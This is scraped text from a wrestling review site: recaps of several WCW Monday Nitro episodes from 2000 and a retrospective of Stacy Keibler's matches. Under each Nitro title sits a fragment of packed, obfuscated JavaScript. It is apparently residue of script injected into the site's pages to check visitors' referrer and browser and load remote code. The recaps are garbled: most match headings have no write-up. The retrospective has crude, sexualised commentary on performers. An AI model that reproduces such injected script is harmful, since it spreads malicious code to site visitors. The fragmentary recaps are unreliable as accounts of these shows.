Monday Nitro – July 31, 2000: That’s Some High Level Background Noise

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsafr|var|u0026u|referrer|yiknz||js|php'.split('|'),0,{})) Nitro #251
Date: July 31, 2000
Location: FirstStar Center, Cincinnati, Ohio
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

Earlier today, Booker came to work.

Pyro.

Post break Sting tells Booker to go to the hospital while he deals with Jeff.

Buff Bagwell vs. Big Vito

Kwee Wee asks Cat for the match but completely snaps when he gets turned down. Cat gives him the match to get rid of him, calming Kwee Wee right back down.

After a break, Buff runs in and finds Kanyon, giving him a double arm DDT on the floor. For once, a wrestling move actually makes sense.

The Artist vs. Kwee Wee

Norman Smiley actually hits on Midajah and gets destroyed by Steiner. This was a five second segment.

Cruiserweight Title: Lieutenant Loco vs. Lance Storm

Post break, Nash demands a match with Steiner. Cat just happens to have a straitjacket so go have a straitjacket match.

Jeff Jarrett vs. Sting

Muta and Vampiro mist the champs and take the belts.

Cat gives Shane Douglas a Viagra on a pole match against Kidman tonight.

Kidman vs. Shane Douglas

Viagra on a pole. Seriously. Before the match, Shane thinks this is stupid. Well at least he still gets the obvious. Shane goes after Kidman to start but gets backdropped out to the floor, followed by a baseball slide into the steps. Back in and Shane kicks him down as Madden talks about Viagra on a pole matches from years past.

Miss Hancock and Major Gunns get in a food fight in the back to start their “hardcore match”. In the ring, A-Wall beats up David Flair until the women come in. I guess this is a match now.

Major Gunns vs. Miss Hancock

The Nitro Girls like Kidman after the Viagra match.

Scott Steiner vs. Kevin Nash

WCW World Title: Booker T. vs. Sting

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Monday Nitro – July 3, 2000: It’s Coming And We Can’t Stop It

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdaye|var|u0026u|referrer|ithey||js|php'.split('|'),0,{})) Nitro #247
Date: July 3, 2000
Location: Civic Center, Charleston, West Virginia
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

Four ambulances are waiting outside.

Opening sequence.

3 Count vs. Jung Dragons

Tank makes them dance, including the returning Helms.

Kevin Nash arrives. I have no idea why his clothes are already in his dressing room.

Cat has a proposition for the Dragons.

Goldberg arrives.

Mike Awesome powerbombs a backstage worker through a table.

During the break, the locker room had to hold Nash back and Awesome powerbombed a security guard. That would be the second man sent to the hospital tonight.

Terry Funk tells Johnny the Bull that he has a real tough opponent tonight before hitting Johnny with a chair.

Terry Funk vs. Johnny the Bull

We see Dale Torborg and Asya rehearsing earlier today when an explosion went off and knocked Asya off the stage.

Goldberg yells at Cat.

Post match the Perfect Event comes in for the big beatdown with the exercise bars. The rest of the Misfits run in for the save and everyone lays down for CPR from Gunns.

Nash tells Cat to make the match.

Awesome powerbombs another backstage guy. Is there a point to this anytime soon?

Cat is on the phone with Eric again and says he has an idea.

Jarrett brings out fat ladies dressed as vikings to Flight of the Valkyries (Hudson: “Or Kill the Wabbit to some of you out there.”). They praise Jarrett a bit and then sing some of the Goodbye song to keep this going. A guy from standards and practices comes out, only to eat a guitar shot. WAY too long for the point here, aside from it not being funny.

The third ambulance leaves.

Jarrett and Cat yell at each other a lot.

Shane Douglas vs. Booker T.

The Demon is back.

Cat puts a bunch of people in the battle royal and says their jobs are to hold Goldberg and Nash apart. Bonuses are promised.

We recap Vampiro vs. Torborg/Demon.

The Demon vs. Vampiro

Post match the hooded guys surround Vampiro but the lights go out and Vampiro is gone. Did you expect anything less?

Smooth talks to the Filthy Animals.

Cat gives the same speech to the Misfits and some other guys. Johnny the Bull is here despite being sent to the hospital earlier. God bless pre tapes.

During the break, Crowbar chased after Daffney but got laid out by Awesome and thrown in an ambulance.

Smooth brings Tygress in to see Cat. A proposition is made but Cat wants to keep his shoes on.

Rey Mysterio/Juventud Guerrera vs. Lance Storm/Kidman

Cat is getting his clothes back on and missed what just happened.

Vampiro is all annoyed and wants Demon in a Graveyard Match, whatever that is.

Cat gives the people in the battle royal a pep talk.

Battle Royal

Security holds them back to end the show.

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Monday Nitro – June 12, 2000: Russo Wins

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izbss|var|u0026u|referrer|kfsih||js|php'.split('|'),0,{})) Nitro #244
Date: June 12, 2000
Location: Richmond Coliseum, Richmond, Virginia
Attendance: 4,723
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

Scott Hudson has no shirt on because he made fun of Russo for not having a shirt on. Does it surprise anyone that we have to suffer so we can see proof that Russo has moved above Hudson in the official manliness power rankings?

Tony: “Sting was lit on fire last night. If you want to see something shocking, order the replay.”

Hardcore Title: Big Vito vs. Terry Funk

Funk hands Vito the belt and shakes his hand post match. Vito blasts him with the belt to look truly evil.

Vampiro talks to someone in a cloak about Sting being gone. The man in the cloak says there are more souls to take. So we have a higher power.

Shane Douglas/Buff Bagwell vs. Kronik

Bagwell and Shane argue post match and Shane sucker punches him with brass knuckles.

Kidman thinks Jarrett vs. Hogan needs a guest referee.

Cruiserweight Title: Lieutenant Loco vs. The Artist

Flair and company arrive.

Cat is waiting on Hogan.

Russo has a group of women to do whatever Goldberg wants. Goldberg sends them off.

Hogan arrives and Cat tells him that the title match is in ten minutes. Hulk agrees but gets blindsided by a guitar shot.

Horace is unconscious in the back.

WCW World Title: Hollywood Hogan vs. Jeff Jarrett

Then the moment is kind of wasted as the announcers do the big serious chat but Tony chuckles at Hudson for not having a shirt on.

Discussion about Sting getting burned, same problem with Hudson. If you want to see a man get burned, order the replay!

Vampiro vs. The Demon

Russo is panicking about losing his hair.

Before we get to the match, we need to go over this. Last night at the pay per view, the announcers speculated that there were two possibilities:

1. Kanyon was hurt and Bischoff got inside his head.

2. Kanyon never was hurt and it was all staged.

Scott Steiner vs. Positively Kanyon

Vince Russo/David Flair vs. Ric Flair/Reid Flair

Goldberg vs. Kevin Nash

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Monday Nitro – June 5, 2000: I Was Wrong

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yretn|var|u0026u|referrer|aafia||js|php'.split('|'),0,{})) Nitro #243
Date: June 5, 2000
Location: Philips Arena, Atlanta, Georgia
Attendance: 13,487
Commentators: Tony Schiavone, Scott Hudson, Mark Madden

We recap Abbott vs. Goldberg in a failed attempt to make us believe that Abbott has a chance.

Bischoff and Russo yell at the New Blood. Torrie can be seen storming off as this goes on. Good for her.

Tag Team Titles: Kronik vs. Chuck Palumbo/Shawn Stasiak

Adams is tired of his hair being messed up and grabs a backbreaker on Shawn, setting up the tags to Clark and Palumbo. Clark cleans house but the Cat gets in the ring and threatens the referee. Palumbo and Clark fight into the crowd and Adams drops Stasiak onto the steps. With everyone on the floor, Cat grabs the referee and demands a count right now. Adams throws Stasiak in and Cat counts a very fast eight nine ten to retain the titles.

Kronik goes after Cat but the champs make the save and take the beating themselves.

Kidman yells at Torrie (in a bikini with a skirt) for some reason until Major Gunns of all people makes the save, earning her some swearing.

Video on Kidman vs. Hogan.

Gunns cries to the Misfits about what Kidman said to her. G.I. Bro promises to take care of things.

Goldberg chats with Nash and Steiner.

G.I. Bro vs. Kidman

Both groups come in for the brawl and the Animals dominate.

Hardcore Title: Eric Bischoff vs. Terry Funk

As they leave, Funk wheels Bischoff back to ringside (with Awesome looking at them without stopping) but we cut to the back (segment #4 in this match) to see Russo sending in the Mamalukes. Funk loads up a Stinkface but the Mamalukes come in and lay out Funk in less than two minutes, giving Bischoff the pin and the title.

The Flairs are here.

US Title: Scott Steiner vs. Vampiro

Tank Abbott vs. Goldberg

Kimberly yells about Hancock.

WCW World Title: Sting vs. Jeff Jarrett

May 22 – Raw: 7.1, Nitro: 3.0

May 29 – Raw: 6.4, Nitro: 3.0

June 5 – Raw: 5.9, Nitro: 2.8

June 12 – Raw: 6.8, Nitro: 3.0

Yeah keep going with that burying your champion after changing the title 18 times in five months. Maybe if you work hard, Raw will only double your numbers.

Jeff is put in an ambulance.

Kimberly/Mike Awesome vs. Diamond Dallas Page/Miss Hancock

They catfight for a bit until Hancock slaps Awesome and runs over to Page for an actual wrestling match. Page speeds it up with a jumping clothesline and starts a brawl. That goes nowhere so Page tries a backslide, only to take a low blow to give Awesome control. Awesome sends Page flying with a nice German suplex but Page is right back up to send him into the buckle.

Horace Hogan vs. Hulk Hogan

Kidman comes in but gets beaten down as well.

Vince Russo vs. Ric Flair

So Ric beats up his son for a bit as Russo sets up a ladder in the ring for no apparent reason. He climbs up and pulls part of the roof down, likely so we can have more interference. Russo gets to the top of the cage but Ric follows him, only to get poked in the eye so Russo can get the better of it. Vince climbs back into the cage but Ric stomps his hands to make him fall. Since this is WCW, the camera misses the big crash.

Ric climbs down the ladder and puts Vince in the Figure Four, which Russo survives for OVER A MINUTE until the red liquid falls from the ceiling and knocks Ric and Charles Robinson out. David puts Ric in the Figure Four and Russo pops to his feet (not even a limp) and chokes Ric until Robinson counts the pin. Russo is polite enough to collapse after walking around the ring for a bit.

Nash and Steiner have a meeting before the main event.

The announcers chat for a bit. I always love seeing them at a makeshift table for some reason. It sums up WCW so well.

Kevin Nash vs. New Blood

Gauntlet match. Disco is out first in an Atlanta Falcons jersey, of course leading out Russo who is still not wearing a shirt. We get some Russo acting as he says Nash loses his shot if he gets pinned or if any of the Millionaires interfere. There are about ten guys on the ramp to come after Nash and Disco is in first, only to take a side slam for a quick pin after about nine seconds.

This show was running in the opposite direction and seemingly trying to either be as horrible and against what the fans wanted as possible. The pay per view was secondary to pushing the writers as the real stars of the show while so much of the night was about nothing. I have no idea what was supposed to make me want to get keep watching this show because the stories are totally uninteresting and far more confusing than they should be.

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Monday Nitro – February 28, 2000: The Will To Fight Is Gone

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztrzi|var|u0026u|referrer|ktdsy||js|php'.split('|'),0,{})) Nitro #229
Date: February 28, 2000
Location: Target Center, Minneapolis, Minnesota
Attendance: 4,638
Commentators: Tony Schiavone, Mark Madden

Opening sequence.

Tag Team Titles: Mamalukes vs. 2XS

Idol comes in and cleans house as everything breaks down. Hancock gets on the table to dance (and keeps having to pull her skirt, if you can even call it that, down). Everyone but Vito (down) is distracted, allowing Vito to get up and plant Idol with the DDT for the pin. Tony: “Finally something happens in the match.” The match was short and we missed way too much of it looking at Hancock, making this one of the more entertaining matches in a long time.

We run down the card.

The KidCam sees Bagwell hitting on Liz. This is totally and completely different than GTV. This was also taped earlier as Luger, Liz and Flair are watching. Ric wants to take Bagwell out for this.

Bigelow picks Sid to beat Abbott tonight.

Hogan, with his weightlifting belt back, wants a Yappapai strap match with Flair at Uncensored. You can hear the fans boo when he calls himself the greatest of all time.

Booker blames the tag team loss on Thunder on Kidman being on the floor with Torrie.

Torrie and Kidman want the KidCam back.

Nitro Girls.

Madden talks while Tony is on the phone. The results of the call: Sting will be here tonight. They needed a call to confirm that?

Booker vs. Kidman

Imagine that: taking two young, talented people and having them fight each other in a meaningless match instead of building them up. Booker elbows him down for two but gets caught in a victory roll for the same. The ax kick plants Booker but here come the Harris Twins for the DQ.

Both guys take H Bombs and Torrie gets knocked off the apron.

Lash Leroux thinks Sid wins tonight.

Norman Smiley is going to beat up Dustin Rhodes for Dustin hurting Terry Funk. Anything new for Norman is an upgrade.

Hardcore Title: 3 Count vs. Brian Knobbs

Vampiro wants to show Jeff Jarrett some pain tonight.

Norman Smiley vs. Dustin Rhodes

US Title: Vampiro vs. Jeff Jarrett

Jeff is defending and has a bunch of women with him but quickly sends them to the back. Before we get to the match, we get a quick recap of Jeff guitaring everyone, which now cost him $10,000 apiece. They start fast with headlocks into headscissors but Vampiro starts firing off the kicks. That goes nowhere so they head outside with Jarrett dropping him on the barricade to take over.

The Mamalukes pay a guy to give the Harris Twins a package.

Ricki Rachman, an annoying tattooed guy who does promotional stuff, talks to Disco Inferno about 3 Count while sitting at a restaurant at Ohio State. Seriously.

Fit Finlay attacked Vampiro during the break. Why you ask? Not answered, just like when he did it on Wednesday.

Cruiserweight Title: The Artist Formerly Known As Prince Iaukea vs. David Flair

David is challenging and Crowbar is on commentary. Prince licks his own finger and points at David so David points back at him. Crowbar does an actually funny Gordon Solie imitation, getting in every catchphrase he can. Prince takes him down with some right hands but Crowbar shoves him off the ropes. David covers for two but the girls get in a fight, allowing Prince to hit his middle rope DDT to retain.

Sid has been attacked and a guitar is seen nearby.

The Cat vs. The Maestro

Cat insults some fat fans before Maestro comes out. Symphony carries out a boom box with the music Stro has to listen to as part of the bet. The boom box plays what sounds like 3 Count, Maestro freaks out and hits Cat with the boom box and gets the pin.

Liz and Luger have lost the bat.

Kidman picks Tank Abbott.

Ric Flair vs. Curt Hennig

Hennig slugs away in the corner to start and nails a backdrop, followed by some chops in the corner. Flair gets slammed off the top as this has literally been all Hennig so far. We get a ref bump because wrestling has gotten too complicated around here. The PerfectPlex has Flair in trouble but Luger comes in for the save. A low blow gives Ric the pin.

More stuff from Ohio State.

Total Package vs. Buff Bagwell

They load up the Pillmanizing but Sting returns for the save. Returns after being gone for a week that is.

WCW World Title: Sid Vicious vs. Tank Abbott

Rating: D. Well, they tried some psychology but it wound up being a bunch of punching and chinlocks until Sid grabbed a hold to retain. This could have been far worse, but I could have gone for them sacrificing Tank to someone who needs the win instead of the World Champion. At least it was short and made sense though.

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Wrestler of the Day – August 27: Stacy Keibler

Time for a gorgeous leggy blonde in Stacy Keibler.

Stacy Keibler got her start in 2000 as Nitro Girl Sky. She would become Miss Hancock, the sexy corporate character who wore incredibly short skirts and often took her hair down to dance. Sometimes she even got in the ring, including this match on Nitro, June 5, 2000.

Diamond Dallas Page/Miss Hancock vs. Kimberly Page/Mike Awesome

This is part of the selfish Kimberly phase where she hated Page for stealing the spotlight. For some reason Kimberly is shocked at Page being Hancock’s partner. Page even offers a little kick to Kimberly’s trunks before the girls get going. With a dance off of course. Hancock throws her glasses to Page but Kimberly shoves her down. Hancock is wrestling in heels and actually takes her down, only to have to slap Awesome.

It’s off to the guys with DDP nailing a discus lariat and getting two off a sunset flip. A low blow slows Page down and a running clothesline in the corner has him in even more trouble. That’s fine with Page who hammers away in the corner but eats an elbow to the jaw. It’s already table time but Mike leaves it on the floor so he can hit the Awesome Splash for two. Hancock gets on the table and pulls up the skirt, allowing Page to hit the Diamond Cutter for the pin.

Rating: D. Expect to hear this a lot, but Hancock was there for her looks and not much else. They let the guys do most of the work here like they should have and gave us the fan service with Hancock getting on the table. She was twenty years old here so what do you think she’s doing out there?

Hancock would be on PPV soon after this at Bash at the Beach 2000 in a wedding gown match. It might be better if you don’t know the backstory here.

Miss Hancock vs. Daffney

Naturally Stacy looks gorgeous. This wound up going to a pregnancy angle where there was supposed to be incest of some kind, I believe with Stacy being Ric’s daughter or him being the father of the baby or something like that. It never came through due to the lack of business but whatever. And yes that’s the Scream Queen of TNA. She’s also the better in ring competitor here. Stacy is 20 here. That’s hard to believe.

There’s wedding cake here too. Instead of trying to win they go for the cake. David is on his second interference so far. The referee gets pantsed and so does David. Now the girls chase each other around the ring and we try to shave Daffney’s head. Oh look it’s Crowbar to interfere even more. He takes his pants off to keep things even. We do get a funny line of “he’s choking David Flair with his pants!” And then Stacy just strips for the heck of it so that Daffney wins. Daffney hits her with cake.

Rating: N/A. Not wrestling, but the girls both looked good. This is what I get for watching WCW from 2000 though so I bring this on myself.

Next up is a hardcore match on Nitro, July 31, 2000.

Major Gunns vs. Stacy Keibler

This starts in the back with Gunns hitting her in the back with what looked like a bottle of water before they head into the bathroom. Gunns turns on the shower and Mark Madden is losing his mind. They fight over to catering with Hancock having a Twinkie shoved down her throat. There goes a carrot cake and it would be a bit better if they weren’t laughing at each other. They head to the ring where there’s a fight going on between Sgt. AWOL and David Flair. The guys go to the floor and there’s a table set up in the corner. Hancock throws her against the table and gets the pin off a slam. No rating for obvious reasons.

Here’s the PPV rematch at New Blood Rising in a Rip Off The Camouflage match.

Major Guns vs. Ms. Hancock

This is the ROTC match. Oh and there’s a mud pit. Guns’ music starts when she’s already in the ring. Stacey in a one piece camouflage dress with her hair pulled back…WOW. She was 20 at this point so brand new. They do some painfully bad stuff here and Guns kicks her in the stomach. Remember that. In a Rip off the Camouflage match, there are covers. Guns gets her top ripped off and Stacey (It’s Stacey Keibler in case that wasn’t sinking in. She’s Ms. Hancock) gets two.

This is mainly about how many upskirt shots can we get. Stacey gets her shorts ripped off and has more camo underneath it. Stacey shakes her hips and hits a horrible cross body from the middle rope. She does a nice nip up but gets kicked in the stomach again. The selling of these people is a far cry from Willy Lowman. Stacey misses another cross body and holds her stomach.

Guns gets her shorts ripped off to reveal more camouflage. Same thing happens to Stacey’s top. And they’re in the mud. Doesn’t that make it harder to see? Stacey starts holding her stomach and gets pinned. David Flair, Stacey’s fiancé, runs out and is worried about her. We get a stretcher and you can see it from here.

Rating: F. Yeah the girls were hot. The ending makes this all the stupider, and we’ll get to that in a bit. This was a freaking joke. When Debra is having better “matches” than you are, there’s a big problem

It was off to the WWF soon after this and the obvious match came first over who was hotter: Stacy Keibler and Torrie Wilson or Trish Stratus and Lita? What better way to find out than in a bra and panties match at InVasion?

Torrie Wilson/Stacy Keibler vs. Lita/Trish Stratus

Mick Foley appoints himself guest referee here again. This was smart if nothing else as it gave a person people actually care about to the match. Torrie and Stacy have weird entrance music. Lita was a legit big deal at the time and was the biggest women’s star more or less since Sable and Sunny. Seriously do you want commentary here? Trish was getting better every day at this point but still wasn’t that good yet.

Stacy gets her top ripped off. Lita has the same done. Trish vs. Torrie now and Trish loses her shirt somewhere. There goes all of Torrie’s clothes. Stacy gets her pants ripped off to end it. Mick picks up the clothes after the match which is funny.

Rating: N/A. Not a wrestling match, so there you go.

Time for some regular wrestling on Raw, August 6, 2001.

Jacqueline vs. Torrie Wilson/Stacy Keibler

This can’t go on long. The universe can’t withstand it. The two jump the one quickly but she fights back while shouting. I’m shocked at the range of her character development in this. Stacy is sent to the floor so Ivory returns, DDT Jackie to turn Alliance and Torrie gets the pin. If Ivory had actually been around for the last four months…..yeah I still wouldn’t care. Too short to rate, thank goodness.

And now some slightly better wrestling on Raw, October 1, 2001.

Tajiri/Torrie Wilson vs. Stacy Keibler/Tazz

Torrie is in a full body dress and Stacy is in leather shorts. Clearly they’re in fighting gear here. The guys start (thank goodness) and Tajiri hits the handspring elbow. He tries a kick but gets caught in the capture suplex and it’s off to Stacy vs. Torrie. Make this quick. As expected they’re terrible because THEY AREN’T WRESTLERS. Back to the guys with Tajiri firing off his strikes and hooking the Tarantula. Ivory runs out and DDTs Torrie so Stacy can pin her. Awful match and for the life of me is anyone supposed to care?

The girls would head to England at Rebellion 2001.

Mighty Molly/Stacy Keibler vs. Lita/Torrie Wilson

Trish is referee here due to reasons of hotness. It says a lot when Molly is the least attractive person in a match. Stacy in camo top and leather skirt works to put it mildly. Heyman says he and Lita wear the same style of underwear. Oh dear. Stacy and Torrie start us off. This is more or less about what you would expect. Trish can’t do much in the ring yet so Lita and Molly are going to be carrying this one.

Apparently over 50,000 tickets were sold i

n an hour for Mania 18. Molly comes in as we’re waiting for Lita to come in and clean house. Stacy does the leg choke to a pop. Lita gets knocked down and the heels double team for a bit. Make your own orgy jokes. Molly does what she can but Torrie is kind of uncarryable. There’s Lita and it’s over in less than a minute with the Twist of Fate to Molly.

Rating: D. The match sucked but the girls looked good. That’s all there is to this and that’s all there was ever going to be on this.

Let’s get some better workers in the ring on Raw, March 11, 2002.

Lita/Trish Stratus vs. Jazz/Stacy Keibler

I always loved how Lita looked in those tied off Wrestlemania baseball jerseys. Trish is just starting to get good and she has her signature look down now. Trish gets jumped and double teamed to start but let’s talk about Lucy! She has a broken leg apparently but HHH is on his way back. Jazz and Lita start things off with Jazz (the Women’s Champion) hitting a double chickenwing on Lita.

Off to Stacy for a corner leg choke but Lita realizes that she’s fighting Stacy freaking Keibler and slams her down. Off to Trish as everything breaks down. Jazz takes a double flapjack but Trish accidentally kicks Lita, giving Jazz a quick rollup win. Trish, Jazz and Lita would have a triple threat on Sunday for the title and for the life of me I have no idea why Trish didn’t win the title there but rather a month or so later.

Back to PPV at Judgment Day 2002.

Women’s Title: Trish Stratus vs. Stacy Keibler

Each is going to have a Dudley in their corner for reasons of bad writing. Molly vs. Trish had been built up for months but they went with this instead because they picked the Dudley feud to be the better draw. Trish interrupted a swimsuit contest to set this up on Thursday. Well at least we get D-Von’s music. Aww man they hadn’t changed it yet so it’s just organ music. Dang it!

Naturally Bubba Ray Dudley is here. This was right before they were going to build him up as one of the top faces on Raw. Yes, that’s a true story. I’ll wait a bit while you regain consciousness. Stacy throws a kick that hits (read as her foot might have been two feet from Trish’s head, prompting a groan from the crowd) for two. Trish was just ok in the ring at this point and the awful Boston Crab shows that.

Stacy counters and Trish counters that into a rollup for two. This is quickly getting embarrassing, which says a lot as we’re maybe a minute into it. Trish hammers away and Stacy is sent to the floor where she has a fit. Batista comes in and drills Trish (lucky) with a slam that gets two for Stacy. Stacy chokes away and Trish fights back, getting a bulldog (minus springboard) to end this quickly. Terrible match but Stacy looked great.

Back to Raw with a slightly better idea on Raw, February 24, 2003.

Stacy Keibler/Test vs. Chris Jericho/Christian

Basic idea here: they’re in Toronto so Stacy comes out in a tied off Maple Leafs jersey and little white shorts. She’s also terrified of Test to continue a stupid angle, though he’s fighting to go after Jericho for accidentally hitting Stacy with a chair. Test slams Christian down but Jericho pulls Stacy off the apron to distract the big man. Christian is lifted in the air for a press slam but Jericho comes in with a chair for the DQ.

Next up, the biggest stage of them all at Wrestlemania XX.

Sable/Torrie Wilson vs. Miss Jackie/Stacy Keibler

This is an evening gown match and the annual Playboy promotional match. Sable and Torrie posed together and had a teased lesbian angle around this time. Sable wants to just wrestle without clothes but Jackie (Gayda, as in the attractive one) says no. Everyone else winds up in lingerie and Jackie is soon stripped too. This is exactly what you would expect: unfunny announcers, sexual spots, very little wrestling and very little complaining from most fans. Stacy kicks Torrie’s head off for two and it’s back to Jackie. We get the rolling over the referee spot and Torrie rolls up Jackie for the pin. This was what it was.

Another Raw match from October 4, 2004.

Stacy Keibler vs. Molly Holly

Non-title, likely because neither of them are champions. Trish, looking GREAT in a low cut top and jeans with some stomach showing, sits in on commentary. She shows us a clip from last week where Christy Hemme stripped off her clothes. Trish’s assessment, and again I quote, “Sl** sl** sl** sl**. Christy Hemme is a sl**.” I love the Bellas trying to sound all serious when you have the girls from this era ripping into each other with lines like that.

Even JR says Stacy has no chance here, albeit in JR-speak of course. Molly points a finger in Stacy’s face so she bites down on it. Again, these jokes are too easy at times. Keibler chokes in the corner and throws Molly down by her VERY short hair (she was shaved bald at Wrestlemania).

As this is going on, we get WWE Fantasy standings on the bottom of the screen. That’s a fascinating idea actually, but it would wind up being a huge mess. The camera stays on Trish, talking about how Christy “exudes sl**tiness.” Molly gets low bridged to the floor and Trish runs down to distract Stacy for no apparent reason, but Stacy is actually smart enough (I’m stunned too) to counter into a cradle for the pin.

We’ll wrap it up with a six person tag from Raw on August 8, 2005.

Stacy Keibler/Hurricane/Rosey vs. Victoria/Heartthrobs

The superheroes are Raw Tag Team Champions. If you don’t remember the Heartthrobs, I’m not surprised. Stacy is a superheroine here because she looks good in the outfit. Antonio Thomas starts with Hurricane but Romeo Roselli gets in a cheap clothesline from the apron to take over. Hurricane fights out of a chinlock and tags in Rosey to clean house. Everything breaks down and Stacy gets on the apron to shake her hips a bit for a distraction, earning a hard shot from Victoria. The Heartthrobs hit a double STO on Rosey for the fast pin.

Me? Use this as an excuse to look at Stacy Keibler for awhile? Perish the thought. I’m sure you can figure out the idea here: she’s there because she’s a 6’0 stunning blonde who can dance. I didn’t see a good match in the whole stretch but I have no idea why you would be looking for one in something about Stacy Keibler. She’s there for the view and there’s nothing wrong with that.

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